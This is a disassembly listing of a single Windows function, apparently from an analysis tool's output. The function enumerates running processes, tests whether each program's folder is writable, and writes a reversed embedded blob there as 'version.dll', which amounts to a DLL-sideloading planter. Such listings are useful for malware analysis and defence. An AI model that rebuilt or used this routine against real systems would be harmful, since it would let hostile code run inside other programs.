Function at 0x14009d020
Capabilities:
Delete file
Enumerate processes
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3c8
call fcn.14000b800
xor eax, eax
mov ecx, 0x26
xor edx, edx
lea rsi, [rsp + 0x290]
mov rdi, rsi
rep stosq qword [rdi], rax
mov ecx, 2
mov dword [rsp + 0x290], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x14009d456
lea rax, [rsp + 0x60]
mov rdx, rsi
mov rcx, rbx
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x50], rax
lea r13, [rsp + 0x50]
mov qword [rsp + 0x58], 0
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14009d0ff
mov r12, qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r13, [rsp + 0x50]
lea rbp, [rsp + 0x180]
nop dword [rax]
mov r8d, dword [rsp + 0x298]
test r8d, r8d
je 0x14009d0f0
xor edx, edx
mov ecx, 0x1000
call r12
test rax, rax
je 0x14009d0f0
mov r9d, 0x104
mov r8, rbp
xor edx, edx
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleFileNameExA
test eax, eax
jne 0x14009d13d
nop dword [rax + rax]
mov rdx, rsi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14009d0b8
mov rdx, qword [rsp + 0x50]
lea r8, str.hello_world
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call fcn.14008c2b0
xor eax, eax
add rsp, 0x3c8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea r15, [rsp + 0xf0]
mov rcx, rbp
call sub.msvcrt.dll_strlen
mov rdx, rbp
mov rcx, r15
lea r8, [rbp + rax]
call fcn.140071770
lea rdi, [rsp + 0x110]
mov rcx, rdi
call fcn.140072950
mov rcx, r15
call fcn.140071a90
mov rcx, r15
call fcn.14001bce0
test al, al
je 0x14009d40a
lea rax, [rsp + 0x120]
lea rdx, [0x14018805b]
mov rcx, rax
mov rdi, rax
mov qword [rsp + 0x28], rax
call fcn.140001b10
lea r14, [rsp + 0x150]
mov rdx, r15
mov rcx, r14
call fcn.140074990
mov rdx, rdi
mov rcx, r14
call fcn.140074ca0
lea rdi, [rsp + 0xd0]
mov rdx, r14
mov rcx, rdi
mov qword [rsp + 0x30], rdi
call fcn.1400014a0
lea rdx, str._tmp
mov rcx, rdi
call fcn.14008d6e0
mov rdx, rax
lea rax, [rsp + 0x70]
mov rcx, rax
mov qword [rsp + 0x38], rax
call fcn.14008ef70
mov rcx, rdi
call fcn.14008c2b0
mov rcx, r14
call fcn.140074a60
mov rcx, qword [rsp + 0x28]
call fcn.140074a60
mov rcx, qword [rsp + 0x70]
lea rdx, [0x140188063]
call sub.msvcrt.dll_fopen
test rax, rax
mov rdi, rax
je 0x14009d400
lea rcx, str.path___s_is_accessible_n
mov rdx, rbp
call fcn.140001450
lea rdx, str.path
mov rcx, r13
call fcn.14008d6e0
mov rdx, rbp
mov rcx, r13
call fcn.14008d6e0
lea rdx, str._is_accessible_n
mov rcx, r13
call fcn.14008d6e0
mov rcx, rdi
call sub.msvcrt.dll_fclose
mov rcx, qword [rsp + 0x70]
call sub.msvcrt.dll_remove
mov edi, dword [section..data]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x90], rax
cmp rdi, 0xf
mov qword [rsp + 0x150], rdi
ja 0x14009d417
cmp rdi, 1
jne 0x14009d474
movzx eax, byte [0x14009f020]
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0x98], rax
mov byte [rdx + rax], 0
mov rdi, qword [rsp + 0x90]
mov rax, qword [rsp + 0x98]
add rax, rdi
cmp rdi, rax
je 0x14009d332
sub rax, 1
cmp rdi, rax
jae 0x14009d332
nop dword [rax]
movzx edx, byte [rdi]
sub rax, 1
add rdi, 1
movzx ecx, byte [rax + 1]
mov byte [rdi - 1], cl
mov byte [rax + 1], dl
cmp rdi, rax
jb 0x14009d310
mov rdi, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x28]
lea rdx, [0x14018805b]
call fcn.140001b10
mov rdx, r15
mov rcx, r14
call fcn.140074990
mov rdx, qword [rsp + 0x28]
mov rcx, r14
call fcn.140074ca0
mov rcx, qword [rsp + 0x30]
mov rdx, r14
call fcn.1400014a0
mov rcx, qword [rsp + 0x30]
lea rdx, str._version.dll
call fcn.14008d6e0
mov rdx, rax
lea rax, [rsp + 0xb0]
mov rcx, rax
mov qword [rsp + 0x48], rax
call fcn.14008ef70
mov rcx, qword [rsp + 0x30]
call fcn.14008c2b0
mov rcx, r14
call fcn.140074a60
mov rcx, qword [rsp + 0x28]
call fcn.140074a60
mov rcx, qword [rsp + 0xb0]
lea rdx, [0x1401880a0]
call sub.msvcrt.dll_fopen
test rax, rax
mov r14, rax
je 0x14009d482
mov r8d, dword [section..data]
mov r9, rax
mov edx, 1
mov rcx, rdi
call sub.msvcrt.dll_fwrite
mov rcx, r14
call sub.msvcrt.dll_fclose
mov rcx, qword [rsp + 0x48]
call fcn.14008c2b0
mov rcx, qword [rsp + 0x40]
call fcn.14008c2b0
mov rcx, qword [rsp + 0x38]
call fcn.14008c2b0
mov rcx, r15
call fcn.140074a60
jmp 0x14009d0f0
mov rcx, qword [rsp + 0x40]
xor r8d, r8d
mov rdx, r14
call fcn.14008ed10
mov rcx, rax
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0xa0], rax
lea rdx, [0x14009f020]
mov r8, rdi
call sub.msvcrt.dll_memcpy
jmp 0x14009d2cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateToolhelp32Snapshot_fail___x_n
mov edx, eax
call fcn.140001450
mov eax, 1
jmp 0x14009d129
test rdi, rdi
je 0x14009d2cc
mov rcx, rax
jmp 0x14009d442
lea rdx, str.fail
mov rcx, r13
call fcn.14008d6e0
mov rdx, rbp
mov rcx, r13
call fcn.14008d6e0
lea rdx, str._fail_n
mov rcx, r13
call fcn.14008d6e0
jmp 0x14009d3ec